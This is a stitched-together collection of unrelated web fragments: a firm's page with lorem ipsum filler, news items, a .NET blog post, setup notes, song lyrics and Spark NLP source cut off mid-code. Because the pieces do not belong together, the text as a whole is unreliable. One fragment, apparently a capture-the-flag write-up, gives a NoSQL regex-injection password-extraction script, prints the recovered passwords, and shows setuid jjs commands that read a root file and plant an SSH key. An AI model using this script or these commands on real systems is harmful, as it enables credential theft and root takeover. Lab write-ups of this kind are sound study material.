About us
The history about Trafalgar reminds us that we have the ability to outperform the financial system.
About us
Trafalgar Capital Partners LLC (“TCP”) was established in Washington, DC in 2016. Its purpose is to provide investment banking and merchant banking services in the technology-enabled and business services industry with a particular focus on technology integration businesses, whether through offering strategic advice to firms, their shareholders and those interested in investing in the industry, or arranging equity investments in businesses we believe to be attractive. Since inception, TCP has advised the leading technology integration businesses in the commercial AV integration space.
Why We Are Different
Our sole focus is the technology integration sector, in particular commercial and pro-AV, with significant experience and knowledge in finding solutions for the specific issues that arise with regards to technology and people-based businesses.
The combination of both advisory and principal activities provides us with insights many other pure-play advisory firms lack; we believe being an investor makes us a better adviser, and vice versa. We understand the longer-term issues that may occur outside of a specific piece of execution work, and we can advise on preventing or planning for such potential problems accordingly.
We recognize the importance of long-term relationships with clients, and we understand that a more profound relationship that has been built over time means we can often provide better and more suited advice. Whilst transactional and execution projects are the major portion of our business, a significant part of our work is for clients with whom we have a multi-year relationship, where we have advised and provided guidance through multiple stages of their development and on varying corporate and strategic issues.
Our sole focus is the technology integration sector, in particular commercial and pro-AV, with significant experience and knowledge in finding solutions for the specific issues that arise with regards to technology and people-based businesses.
Our team is highly qualified: our two partners have over 50 years of combined investment banking experience, and all our professionals have significant experience over a number of years in the technology integration sector.
- Praesent commodo cursus magna, vel scelerisque nisl consectetur et.
- Donec id elit non mi porta gravida at eget metus.
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Cras mattis consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis.
Financial Reports
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Sed posuere consectetur est at lobortis. Cras mattis consectetur purus sit amet fermentum.
Curabitur blandit tempus porttitor. Nullam quis risus eget urna mollis ornare vel eu leo. Nullam id dolor id nibh ultricies vehicula ut id elit.
Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum. Aenean lacinia bibendum nulla sed consectetur.
Vivamus sagittis lacus vel augue laoreet rutrum faucibus dolor auctor. Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Morbi leo risus, porta ac consectetur ac, vestibulum at eros.
New Reports
Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Aenean lacinia bibendum nulla sed consectetur. Etiam porta sem malesuada magna mollis euismod. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.
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Etiam porta sem malesuada magna mollis euismod. Cras mattis consectetur purus sit amet fermentum. Aenean lacinia bibendum nulla sed consectetur.
Donec ullamcorper nulla non metus auctor fringilla. Nulla vitae elit libero, a pharetra augue.


Follow these steps to set up Telegram notifications:
If you want to use our bot, the username is @quantconnect_notifications_bot.
Your group Id is in the URL when you open your group chat in the Telegram web interface. For example, the group Id of web.telegram.org/z/#-503016366 is -503016366.
If you want to add more Telegram notifications, click Add Notification and then continue from step 2.


A STUDY OF THE STREET ACADEMY PROGRAM IN PITTSBURGH
by Charles Allen B.S. Fayetteville State University, 1956 M.Ed. University of North Carolina, 1965
Submitted to the Graduate Faculty in the School of Education in partial fulfillment of the requirements for the degree of
Doctor of Education
University of Pittsburgh 1970
Reproduced with permission of the copyright owner. Further reproduction prohibited without permission.


--- layout: post title: Mac Pro FAIL categories: [] tags: - fail - mac status: publish type: post published: true meta: _original_post_id: '' _original_import_author: John Duprey author: ---


This data on traffic fatalities comes from two data sets. The first counts the number of annual fatalities for various classes of vehicles, and the second tracks the number of miles driven annually by various classes of vehicles. We combined these data sets to find the average number of Occupant Fatalities per billion miles traveled for each vehicle type. This data covers the date range between 1975 and 2019, although from 1975 to 1990 data was logged every 5 years. We are required by the terms of this data’s licensing to make it clear that our data was obtained from the United States Bureau of Transportation Statistics.


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Perf Report:
Test (Frame #66)
Worker Thread 0
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CUMULATIVE
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Time Table Ranthambhor National Park
S.No.
Month
Morning Trip
Evening Trip
1
1st October to 31st October
6.30 A.M. to 10.00 A.M.
2.30 P.M. to 6.00 P.M.
2
1st November to 31st January
7.00 A.M. to 10.30 A.M.
2.00 P.M. to 5.30 P.M.
3
1st February to 31st March
4
1st April to 15th May
6.00 A.M. to 9.30 A.M.
3.00 P.M. to 6.30 P.M.
5
15th May to 30th June
3.30 P.M. to 7.00 P.M.
All Right Reserved


To foster an enjoyment and appreciation of the visual arts and a knowledge of artists, craftspeople and designers. The school uses a variety of teaching and learning styles in art and design lessons. Our principal aim is to develop the children's knowledge, skills and understanding in art and design.


Vivo U20 with AI triple camera, big battery launched
by Rohit KVNChinese smartphone maker launched the new U20, the successor of the budget mobile U10 series in India.
The highlight feature of the Vivo U20 is the photography hardware. It boasts an Artificial Intelligence-powered triple camera-- primary 16MP (with Sony IMX499 sensor), super ultra-wide-angle 8MP and a 2MP (for macro shots). It can automatically detect the type of environments such as landscape, hillside, flowers, beach, and other scenarios and optimise the camera hardware to get the best photos in any lighting conditions. It also has a night mode, which brightens the subject with near-natural colour even under pitch darkness. It also comes with AI Super Wide Angle, Super Macro, Bokeh with Shot-Refocus and much more.
On the front, it houses an equally impressive 16MP selfie camera and with AI Face Beauty, AR Stickers feature, so users can adjust skin and do photo editing to make the images look photogenic or funny worth sharing on social media platforms.
Also read | Vivo S5 with quad-camera unveiled
Another notable aspect is the battery capacity. It comes with 5,000mAh cell and if the company is to be believed, consumers play YouTube videos continuously for 11 hours in a single full charge. It can last for 243 hours under standby mode. It also supports 18W fast charging.
Vivo U20 sports a glossy shell on the back with a fingerprint sensor and it comes with a 6.53-inch full HD+ display with more than 90.3% screen-to-body ratio and has Panda MN228 display protection.
It is powered by Qualcomm Snapdragon 675 octa-core processor with Android Pie OS, 4GB/6GB RAM and 64GB storage (expandable via microSD card). With Multi-Turbo mode on, the phone reduces frame-drop and offers enhanced gaming experience.
The new Vivo U20 will be available on Amazon and Vivo online stores from November 28 onwards for Rs 10,990. It comes in two colour variants--racing black and blaze blue.
Vivo U20 vs competition:
The new Vivo U20 will be up against the popular Redmi Note 8, Motorola One Action, among others.
Get the latest news on new launches, gadget reviews, apps and more on personal technology only on DH Tech.


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Copy your missing dependencies from errors/warnings generated by bms
Paste the logs to the textarea and click on 'Convert' button
Verify the output and click the 'clipboard' icon to copy the result to your clipboard
Question & Support: Kewei HU.


From nmap we can see 3 open ports 22,80,443
, visting port 80 we cannot see anything because we get a 403 status Forbidden.
Visiting port 443, there is something like a google search named Mango, which does nothing. Also there is a file named analytics.php which pulls code from codepen, but nothing of interest there. Viewing the ssl cert info I was able to extract a domain: staging-order.mango.htb. I add this to my /etc/hosts file.
staging-order.mango.htb is a website with login form, I intercept the requests there and try some nosql injections but nothing. Given the name of box(Mango) I think of mongodb, so I start and search for mongodb sql injection, I stubled accross a ctf writeup https://blog.0daylabs.com/2016/09/05/mongo-db-password-extraction-mmactf-100/. I try to do the same and find that the regex indded works, so I create a scipt to extarct the password using mango as username.
import requests
import string
url = 'http://staging-order.mango.htb'
username='mango'
password=''
while True:
for chars in string.printable:
if chars not in ['[', '\\','^','$','.','|','?','*','+','(',')']: #else this would break the regex
payload = {'username': username, 'password[$regex]': "^" + password + chars, 'login': 'login'}
r = requests.post(url, data=payload, allow_redirects=False)
if r.status_code == 302:
print ("Found one char: %s" % password+chars)
password += chars
I found the password h3mXK8RhU~f{]f5H and try to login but I get a page under construction, which leads me nowhere. I remeber I had ssh open.
I ssh as mango using the password I found previously, I then try to read user.txt but that file is owned by admin
which seems another user, the same password as mango for admin on ssh does not work, so I try to use the script again but this time using admin as the username.
I find another password t9KcS3>!0B#2, now I can read user.txt! Using LinEnum.sh I try to find any anomalies in the box, but nothing comes up, so I run it again but this time adding -t to do a thorough test. I found that /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
has setuid permission so I can run it as root user.
Going to https://gtfobins.github.io/ I search for jjs and find that I can use the following code to read a file, so I read root.txt:
echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
I now can submit root.txt file but I wasn’t really logged in as root.
I can also see I can use another code to write into a file so I paste my public ssh key:
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc......");
fw.close();' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
And now I can ssh into the box using root username, and login as root.


--- title: "Snake Draft Assistant" output: html_document ---
This application recommends selections by position based on how much value they add to your team compared to the players likely to be available the next to time you select.
It does this by analyzing:
Jump to the app here or read the analytical details below.
Many websites produce preseason forecasts of player PPG. The site FantasyFootballAnalytics aggregates those predictions and produces a weighted average that proves to be more accurate than any once source.
I am a subscriber to the site and downloaded their data for use in the app.
Roster analysis consists of three components:
Before you draft input the position limits of your starting lineup.
For example: 1 QB, 2 RBs, 2 WRs, 1 TE, 1 FLEX, 1 DST and 1 K.
The app can handle leagues with either FLEX (RB/WR/TE) or OP (QB/RB/WR/TE) positions.
As you draft players and enter them into the app a weekly starting lineup is assembled based on roster limits and the expected number of points scored each week is calculated. If your starting lineup for a certain position has met its limit then a player will be considered for FLEX/OP. But if they aren’t good enough to crack your starting lineup at any position then they add 0 points to your roster no matter what their projected PPG are.
When a player has a BYE, of course they don’t play. When your team amasses multiple BYEs in a given week, you’ll be stretched thin and likely lose. These recommendations take BYE weeks into account and will elevate players who do not have overlapping BYEs with players at the same position.
To make recomendations the app compares the Value Added by each player not against everyone other available player, but against the players most likely to remain in the draft pool the next time you pick (based on yourorder in the draft sequence).
For example, let’s say you have the first pick in a 10 team league.
Antonio Brown is recommended to be the top pick not because his projected PPG (17.3) is that much greater than Julio Jones (#2 WR, 15.4 PPG), but because the next time you draft the best available WR is likely to be Alshon Jeffrey whose predicted 12.3 PPG is a 5 point dropoff, far greater than the dropoff at any other position.
You can check out the app here or access the code here.
Feedback? contact me at statscorner[at]gmail[dot]com.


Make Sonia full-time Congress president to end uncertainty: Veerappa Moily
Sonia Gandhi was made interim president last August, barely 20 months after she voluntarily relinquished the top post
by Press Trust of IndiaSonia Gandhi should become full- fledged President of the Congress to end uncertainty over the leadership issue, senior party leader M Veerappa Moily said on Thursday.
"I feel that she should be the President, not to be called as interim President... should not be left in this kind of an uncertain situation", the former Union Minister told PTI.
Sonia Gandhi was made interim president last August, barely 20 months after she voluntarily relinquished the top post in favour of son Rahul Gandhi who refused to continue on as Congress chief after a humiliating 2019 general election defeat.
"In the absence of any other arrangement, particularly when Rahulji is not willing to be active, I think somebody has to take up the responsibility and she would not like the Congress to be left behind without a leader", Moily said.
"According to me, she has to be full-fledged President", the former Karnataka Chief Minister said.


--- layout: archive permalink: /Blog-posts/ excerpt: "Worth reading" title: "Blog posts" author_profile: true --- {% include base_path %} {% capture written_year %}'None'{% endcapture %} {% for post in site.posts %} {% capture year %}{{ post.date | date: '%Y' }}{% endcapture %} {% if year != written_year %}
Here’s a picture of our team: Benjamin Ghatan, myself and Yuriy Davydov
Space exploration and development, software development, aviation, aerospace, defense, space systems, satellites, nanosatellites, CubeSats, global positioning systems (GPS), control systems, system design, telecommunications, 3D modeling and scanning, unmanned aerial vehicles, UAV, UAS, aerial video/photography, precision agriculture, telematics, geomatics, engineering, additive manufacturing and 3D printing, smart materials, digital image processing, mobile app and web development, and entrepreneurship.


Benefits of Enrolling to Leadership and development Academy
Courtesy of the Springdale Foundation, LADA will undertake a taught Springdale College DIPLOMA on Leadership and Development including mentoring and institutional attachments where necessary and available.
Courtesy of the Africa For SDGS, leaders will learn more about the SDGs and will be introduced to the SDGs Lab to incubate research ideas that creates awareness, activates action on SDGs and encourages innovation for realization of the Global Goals with a focus on holistic and integrated approaches.
Consolidating partnerships with Other development partners and the international community highlighting on their objectives and visions with the intention to create awareness on their practical contributions and share existing opportunities for the beneficiaries.
Courtesy of the Africa For SDGS, leaders will learn more about the SDGs and will be introduced to the SDGs Lab to incubate research ideas that creates awareness, activates action on SDGs and encourages innovation for realization of the Global Goals with a focus on holistic and integrated approaches.
Creating and strengthening innovation to realize the Africa We Want as envisioned by the Africa Union through homemade solutions and engagements.
{% include "landpage/main/js.html" %}
{% endblock %}


Tests that when stack overflow exception happens when inspector is open the stack trace is correctly shown in console.


--- layout: post title: Dynamic loading of native code with .NET date: 2019-06-24 09:00:00 keywords: dotnet teaser: My problem with DllImport is that the library name has to be hard-coded at compile time. ---
I maintain SQLitePCLRaw, a .NET wrapper for SQLite. In one sense, this project is not terribly unusual. Plenty of other packages exist to provide a .NET-friendly way to access a native library. For example, SkiaSharp is a .NET wrapper around the Skia graphics library.
But even in this category, SQLitePCLRaw faces challenges that are uncommon, if not unique.
There is more than one notion of "the SQLite library". We have plain SQLite. And then there is SQLCipher (derived from SQLite, developed by Zetetic). And Windows 10 has a SQLite library built-in (winsqlite3.dll). Android has one too, and then in version N they decided that people can't use it anymore. Apple provides a SQLite library with iOS and MacOS. People have custom builds of SQLite so they can configure it with compile options. All these SQLite libraries can be different versions, and can be compiled with different features. And SQLitePCLRaw tries to work with all of them.
SQLite (in all its various forms) is extremely ubiquitous. It runs on everything from servers to embedded devices, and people use it for all kinds of things. .NET has become very diverse as well. We have .NET Framework, .NET Core, Mono, Xamarin, Unity, Windows, Mac, Linux, Windows Phone, UWP, and so on. Basically, SQLitePCLRaw tries to support .NET in all its forms.
So the number of scenarios in play here is like a matrix with N flavors of SQLite as the rows and M platforms as the columns. As an offhand count, I can name enough items to say that N is 9 and M is 11, so there are roughly 100 configurations to worry about. Not every matrix cell is special, so that might be overstating things a little, but it's the right ballpark.
The most common way of calling native code with .NET is P/Invoke. This is done with an extern method definition that has a DllImport attribute which specifies the name of the unmanaged library in which it should be found. For example:
[DllImport("libc.dll")] public static extern int abs(int x);
This says "In the shared library 'libc.dll', find a function called 'abs' and treat it like it returns an int and has one parameter of type int." Note that the actual signature of the unmanaged function must match the method definition, and nothing verifies this for you. So for example, if the parameter for abs() were actually a pointer, you could expect Bad Things to happen when you call it with the P/Invoke definition above.
It is also worth observing that the trivial example above does not show much of the power of P/Invoke. Here's something a bit more complicated:
[DllImport("libc.dll")] public static extern int strlen(byte[] a);
This says "In the shared library 'libc.dll', find a function named 'strlen' which returns an int, and takes one parameter, and the actual type of the parameter is a pointer, but from the .NET side, let's pretend that the function takes an array of byte, and just do the right thing, mkay?" So, when you call this method from C#, P/Invoke will take the byte[] and pin it, to prevent the garbage collector from moving it around while the unmanaged function has it. And then when the native function returns, P/Invoke will automatically un-pin it.
P/Invoke can do all kinds of stuff to bridge the gap between managed and native code. We call that stuff "Marshaling".
As powerful as P/Invoke is, I have one major complaint with it, and it goes back to the DllImport attribute. Because DllImport is, well, an attribute, its parameters have to be constant. So, the name of the unmanaged library has to be hard-coded at compile time. But in my world, SQLite is running around using more names than Jason Bourne.
For several years my solution to this problem has been to take the P/Invoke part of my code and compile it multiple times, once for each name I need to give to DllImport. I refer to the instances of this module as "providers", and they are somewhat like plugins. The core of SQLitePCLRaw needs one of these providers to be registered.
Anyway, having all these providers is inelegant. It makes the build system awkward. It increases the number of assemblies and packages. For a long time I've been wanting to rework this code to use dynamic loading instead of DllImport. I envisioned writing a Do-It-Yourself equivalent for DllImport, but without using attributes, so the library name wouldn't have to be hard-coded.
The starting point for me was to think about how DllImport is implemented. Conceptually, I pictured it like this:
MyDelegateType DoThatDllImportThing(string libraryName, string functionName) { string path = FindTheLibrary(libraryName); IntPtr hLibrary = LoadTheLibrary(path); IntPtr hFunction = LoadTheFunction(hLibrary, functionName); return CreateTheDelegate(hFunction); }
I figured FindTheLibrary() would be easy, because it's just path stuff.
And LoadTheLibrary() is just a LoadLibraryEx() on Windows and dlopen() everywhere else. Similarly, LoadTheFunction() is either GetProcAddress() or dlsym(). So those are not a problem.
But CreateTheDelegate() would be a lot of work, because I would have to implement all that magic that P/Invoke does. Well anyway. It would be worth it.
Skipping ahead to today, I do now have dynamic loading implemented for SQLitePCLRaw 2.0 (a prerelease of which is now available on nuget.org), but things didn't go at all like I thought they would.
It turns out that my expectations about difficulty were almost completely backwards.
CreateTheDelegate() is already provided by the platform. Once you have the function pointer, all the stuff I thought would be hard is actually done by Marshal.GetDelegateForFunctionPointer().
But FindTheLibrary() is not "easy". In fact, implementing this in a cross-platform manner appears to be impossible. As far as I can tell, there are some .NET platforms where it just can't be done. FindTheLibrary() (or something like it) must exist, because DllImport uses it, but it is not public.
Side Rant: People think the hard part of software is because of tricky algorithms or difficult concepts. But very often, software is hard because you're trying to do something the platform won't let you do, because the platform only provides a higher-level interface, which, ironically, was intended to make things easier. For me, I almost always want the lower level APIs. You want to give me an HTTP library? Fine, but I still need sockets.
All I want here is for the tooling to support a way for me to include a dynamic library (dll | so | dylib) and put it somewhere such that I can find its path at runtime. But every .NET implementation does this a little differently.
Xamarin iOS and Android are both kinda weird (in different ways). In part, this is because of constraints of the underlying platforms (such as static linking on iOS), but it is also apparent that both of them were just designed to support DllImport (which is understandable). If either of these Xamarin platforms have a documented/supported way of doing what I want, I have thus far been unable to find it.
A bit surprising is that .NET Core 2.x is one of the most difficult situations. It stores unmanaged libraries in a folder called runtimes and then in a subfolder named for the RID, but (1) at debug time, this is in the packages directory, which is weird and not discoverable relative to the executing assembly, and (2) there is no public API to get the RID. I could try to figure out the RID myself, but that approach looks bug-prone.
Strangely, the .NET Framework is one of the easier cases, because it doesn't try to do anything in this area. It just lets me do. So I can provide a nuget targets file that copies the dynamic libraries to the output directory at build time. And then I use GetExecutingAssembly() and get its location and from there I can find the files I need.
The frustration of trying to solve this problem has driven me to some weird places.
"It's a %*($^#@ file and I just want it stored next to my executable. Why can't I do that? The tooling does it for images. Why can't I do this for an arbitrary file? Hey, maybe this would work if I just change the suffix from .so to .png?"
And I am apparently not alone in this. In my search for answers I found a repo provided by the Quicken Loans team (see https://github.com/RockLib/RockLib.EmbeddedNativeLibrary). In a nutshell, they package the native library as an embedded resource inside an assembly and then at runtime they load the resource and write it to disk and then load it.
Along those same lines, I've come really close to writing code to take a (dll | so | dylib) and encode it as base64 and dump it out as a string literal in C# source file.
All this silliness is also part of my motivation for exploring various ways of compiling C (and things like it) for the CLR. I've had early success compiling WASM to MSIL, and I've made significant progress doing the same for LLVM bitcode. If I could have SQLite compiled as a .NET assembly, all this pain would go away. Granted, it would be replaced by new and different pain, but I'm ready to welcome that.
But alas, .NET Core 3.0 is arriving with a breath of fresh air.
I first learned about this new API from Brice Lambson of the Entity Framework Core team. Basically, it provides FindTheLibrary(), LoadTheLibrary(), and LoadTheFunction() in a cross-platform way. It is pretty much exactly what I need, a way to load unmanaged libraries without the limitations of the DllImport attribute.
As I write this, .NET Core 3.0 is in preview, so the docs on this API are a bit sparse. But after some experimentation and a bit of "Use The Source Luke", I've been able to get things working nicely.
One tricky part was that NativeLibrary.Load() has two overloads.
public static IntPtr Load( string libraryPath ); public static IntPtr Load( string libraryName, System.Reflection.Assembly assembly, NullablesearchPath );
The second call (the one that takes a "libraryName") is the one that has knowledge about where to look for unmanaged libraries. The simpler first overload wants a "libraryPath", and seems to be just a trivial wrapper around LoadLibraryEx/dlopen, the thing to use when you already know the path of the (dll | so | dylib) you want.
So why am I excited about this API when I can only use it on .NET Core 3.0?
Mostly, because of the .NET 5 announcement. I'm assuming that when .NET 5 ships (in late 2020), the Xamarin platforms will support the NativeLibrary API. Eventually, I will be able to use NativeLibrary everywhere and get rid of DllImport completely.
In the meantime, I'm using the NativeLibrary API as the pattern for implementing similar functionality for other platforms whereever possible. For example, for .NET Framework support, I have implemented my own clone of (a subset of) NativeLibrary. In the end, I still have to ship several of the old Dllimport providers with hard-coded names, but still, dynamic loading killed off some of the complexity, resulting in fewer packages and a simpler build.


Table of Contents:
After installing the OS, I setup the Apache web server, I setup the database program, and then installed the PHP package. When the setup finished, a message popped up saying that I had to run /usr/local/sbin/php4-enable command to activate the PHP modules which I did, and it automatically added the LoadModule php4_module line in the httpd.conf file I also tweaked the mime files the way you explained on your web pages, and added the php extensions to the Directory Index. I rebooted the machine, and something funny happened: Apache wasn't loading at all! I tried to load it manually, and the following message came up:
| /usr/libexec/ld.so: httpd: libmysqlclient.so.6.0:
No such file or directory /usr/sbin/apache start: httpd could not be started |
That same message I saw during the boot process. I did a little research until I found the solution:
Just add
| shlib_dirs=/usr/local/lib/mysql |
in
| File: /etc/rc.conf |
so ld.so finds the MySQL libraries.
shlib_dirs is usually empty, but it is already in the rc.conf file. Just add what it is after the equal sign and then Apache will work but now there was another problem: I created a test.php file with the famous phpinfo() function to see if PHP was active, but it wasn't or Apache didn't know what to do with that file! Everytime I pinpointed the test.php file using Lynx or any other browser it tried to download it instead of displaying the php environment. So again I did a little research and I came up with another solution: In the section of the httpd.conf file dealing with "tweaking the mime.types" I modified it this way:
File: /var/www/conf/httpd.conf
AddType application/x-httpd-php .phtml
AddType application/x-httpd-php .php .php3 .php4
AddType application/x-httpd-php-source .phps
And again, it worked! You can, of course, add this information in your web site just in case someone wants to install PHP4 to use it with MySQL. Thanks again, for providing me the most rewarding information available for the OpenBSD OS! I'll keep in touch if I find something interesting.
Sincerely,
Guillermo Ruiz
;-)8
The contents of Guillermo Ruiz's original e-mail has remained largely intact. Where changes have been made, they have been to hopefully enhance readability.
You may find it useful to read through my php3 installation guide. When I get time I will add more notes to this guide.
The copyright of the original material remains with Guillermo Ruiz.
Layout Copyright (c) 2000 Samiuela LV Taufa. All Rights Reserved.
I reserve the right to be totally incorrect even at the best advice of betters.
You are permitted and encouraged to use this guide for fun or for profit as you see fit. If you republish this work in what-ever form, it would be nice (though not enforceable) to be credited.
|
php4. |
Copyright © 2000 NoMoa Publishers All rights reserved. Caveat Emptor


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/VS.20Code.20hover.20issue.html ---
example (A C D : Type) (zzz : A → C) (g : C → C → D) (a : A) : D := begin apply g (zzz a) (zzz a), end
If I try this in VS Code (on Ubuntu) and hover over the two zzz
s in the apply
tactic line, the first one doesn't give me a little transient window saying zzz : A \to C
but the second one does. Can someone else reproduce? Should I expect the window to pop up for the first zzz
as well?
I get the corresponding behavior in emacs too, so I guess it is an issue with Lean itself
reproduced (Windows, VS Code)
by exact g (zzz a) (zzz a)
has the issue, but just giving the term mode proof makes things work again.
reproduced all three behaviours
This is actually quite annoying whenever I do a by haveI := _; exact _
proof
So it's the Lean server which ships these little windows out?
can we have the complicated diagram again?
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


|
Dosed
(Red Hot Chili Peppers) |
|
I
got dosed by you and
Closer than most to you and What am I supposed to do Take it away I never had it anyway Take it away and everything will be okay In you a star is born and You cut a perfect form and Someone forever warm Lay on lay on lay on lay on Lay on lay on lay on lay on Way upon the mountain where she died All I ever wanted was your life Deep inside the canyon I can't hide All I ever wanted was your life Show love with no remorse and Climb on to your seahorse and This ride is right on corse This is the way I wanted it to be with you This is the way that I knew that it would be with you Lay on lay on lay on lay on Lay on lay on lay on lay on Way upon the mountain where she died All I ever wanted was your life Deep inside the canyon I can't hide All I ever wanted was your life I got dosed by you and Closer than most to you and What am I supposed to do Take it away I never had it anyway Take it away and everything will be okay Way upon the mountain where she died All I ever wanted was your life Deep inside the canyon I can't hide All I ever wanted was your life |


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Source code for sparknlp.annotator.graph_extraction
# Copyright 2017-2022 John Snow Labs
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Contains classes for GraphExtraction."""
from sparknlp.common import *
[docs]class GraphExtraction(AnnotatorModel):
"""Extracts a dependency graph between entities.
The GraphExtraction class takes e.g. extracted entities from a
:class:`.NerDLModel` and creates a dependency tree which describes how the
entities relate to each other. For that a triple store format is used. Nodes
represent the entities and the edges represent the relations between those
entities. The graph can then be used to find relevant relationships between
words.
Both the :class:`.DependencyParserModel` and
:class:`.TypedDependencyParserModel` need to be
present in the pipeline. There are two ways to set them:
#. Both Annotators are present in the pipeline already. The dependencies are
taken implicitly from these two Annotators.
#. Setting :meth:`.setMergeEntities` to ``True`` will download the
default pretrained models for those two Annotators automatically. The
specific models can also be set with :meth:`.setDependencyParserModel`
and :meth:`.setTypedDependencyParserModel`:
>>> graph_extraction = GraphExtraction() \\
... .setInputCols(["document", "token", "ner"]) \\
... .setOutputCol("graph") \\
... .setRelationshipTypes(["prefer-LOC"]) \\
... .setMergeEntities(True)
>>> #.setDependencyParserModel(["dependency_conllu", "en", "public/models"])
>>> #.setTypedDependencyParserModel(["dependency_typed_conllu", "en", "public/models"])
================================= ======================
Input Annotation types Output Annotation type
================================= ======================
``DOCUMENT, TOKEN, NAMED_ENTITY`` ``NODE``
================================= ======================
Parameters
----------
relationshipTypes
Paths to find between a pair of token and entity
entityTypes
Paths to find between a pair of entities
explodeEntities
When set to true find paths between entities
rootTokens
Tokens to be consider as root to start traversing the paths. Use it
along with explodeEntities
maxSentenceSize
Maximum sentence size that the annotator will process, by default 1000.
Above this, the sentence is skipped
minSentenceSize
Minimum sentence size that the annotator will process, by default 2.
Below this, the sentence is skipped.
mergeEntities
Merge same neighboring entities as a single token
includeEdges
Whether to include edges when building paths
delimiter
Delimiter symbol used for path output
posModel
Coordinates (name, lang, remoteLoc) to a pretrained POS model
dependencyParserModel
Coordinates (name, lang, remoteLoc) to a pretrained Dependency Parser
model
typedDependencyParserModel
Coordinates (name, lang, remoteLoc) to a pretrained Typed Dependency
Parser model
Examples
--------
>>> import sparknlp
>>> from sparknlp.base import *
>>> from sparknlp.annotator import *
>>> from pyspark.ml import Pipeline
>>> documentAssembler = DocumentAssembler() \\
... .setInputCol("text") \\
... .setOutputCol("document")
>>> sentence = SentenceDetector() \\
... .setInputCols(["document"]) \\
... .setOutputCol("sentence")
>>> tokenizer = Tokenizer() \\
... .setInputCols(["sentence"]) \\
... .setOutputCol("token")
>>> embeddings = WordEmbeddingsModel.pretrained() \\
... .setInputCols(["sentence", "token"]) \\
... .setOutputCol("embeddings")
>>> nerTagger = NerDLModel.pretrained() \\
... .setInputCols(["sentence", "token", "embeddings"]) \\
... .setOutputCol("ner")
>>> posTagger = PerceptronModel.pretrained() \\
... .setInputCols(["sentence", "token"]) \\
... .setOutputCol("pos")
>>> dependencyParser = DependencyParserModel.pretrained() \\
... .setInputCols(["sentence", "pos", "token"]) \\
... .setOutputCol("dependency")
>>> typedDependencyParser = TypedDependencyParserModel.pretrained() \\
... .setInputCols(["dependency", "pos", "token"]) \\
... .setOutputCol("dependency_type")
>>> graph_extraction = GraphExtraction() \\
... .setInputCols(["document", "token", "ner"]) \\
... .setOutputCol("graph") \\
... .setRelationshipTypes(["prefer-LOC"])
>>> pipeline = Pipeline().setStages([
... documentAssembler,
... sentence,
... tokenizer,
... embeddings,
... nerTagger,
... posTagger,
... dependencyParser,
... typedDependencyParser,
... graph_extraction
... ])
>>> data = spark.createDataFrame([["You and John prefer the morning flight through Denver"]]).toDF("text")
>>> result = pipeline.fit(data).transform(data)
>>> result.select("graph").show(truncate=False)
+-----------------------------------------------------------------------------------------------------------------+
|graph |
+-----------------------------------------------------------------------------------------------------------------+
|[[node, 13, 18, prefer, [relationship -> prefer,LOC, path1 -> prefer,nsubj,morning,flat,flight,flat,Denver], []]]|
+-----------------------------------------------------------------------------------------------------------------+
See Also
--------
GraphFinisher : to output the paths in a more generic format, like RDF
"""
name = "GraphExtraction"
inputAnnotatorTypes = [AnnotatorType.DOCUMENT, AnnotatorType.TOKEN, AnnotatorType.NAMED_ENTITY]
optionalInputAnnotatorTypes = [AnnotatorType.DEPENDENCY, AnnotatorType.LABELED_DEPENDENCY]
outputAnnotatorType = AnnotatorType.NODE
relationshipTypes = Param(Params._dummy(),
"relationshipTypes",
"Find paths between a pair of token and entity",
typeConverter=TypeConverters.toListString)
entityTypes = Param(Params._dummy(),
"entityTypes",
"Find paths between a pair of entities",
typeConverter=TypeConverters.toListString)
explodeEntities = Param(Params._dummy(),
"explodeEntities",
"When set to true find paths between entities",
typeConverter=TypeConverters.toBoolean)
rootTokens = Param(Params._dummy(),
"rootTokens",
"Tokens to be consider as root to start traversing the paths. Use it along with explodeEntities",
typeConverter=TypeConverters.toListString)
maxSentenceSize = Param(Params._dummy(),
"maxSentenceSize",
"Maximum sentence size that the annotator will process. Above this, the sentence is skipped",
typeConverter=TypeConverters.toInt)
minSentenceSize = Param(Params._dummy(),
"minSentenceSize",
"Minimum sentence size that the annotator will process. Above this, the sentence is skipped",
typeConverter=TypeConverters.toInt)
mergeEntities = Param(Params._dummy(),
"mergeEntities",
"Merge same neighboring entities as a single token",
typeConverter=TypeConverters.toBoolean)
mergeEntitiesIOBFormat = Param(Params._dummy(),
"mergeEntitiesIOBFormat",
"IOB format to apply when merging entities",
typeConverter=TypeConverters.toString)
includeEdges = Param(Params._dummy(),
"includeEdges",
"Whether to include edges when building paths",
typeConverter=TypeConverters.toBoolean)
delimiter = Param(Params._dummy(),
"delimiter",
"Delimiter symbol used for path output",
typeConverter=TypeConverters.toString)
posModel = Param(Params._dummy(),
"posModel",
"Coordinates (name, lang, remoteLoc) to a pretrained POS model",
typeConverter=TypeConverters.toListString)
dependencyParserModel = Param(Params._dummy(),
"dependencyParserModel",
"Coordinates (name, lang, remoteLoc) to a pretrained Dependency Parser model",
typeConverter=TypeConverters.toListString)
typedDependencyParserModel = Param(Params._dummy(),
"typedDependencyParserModel",
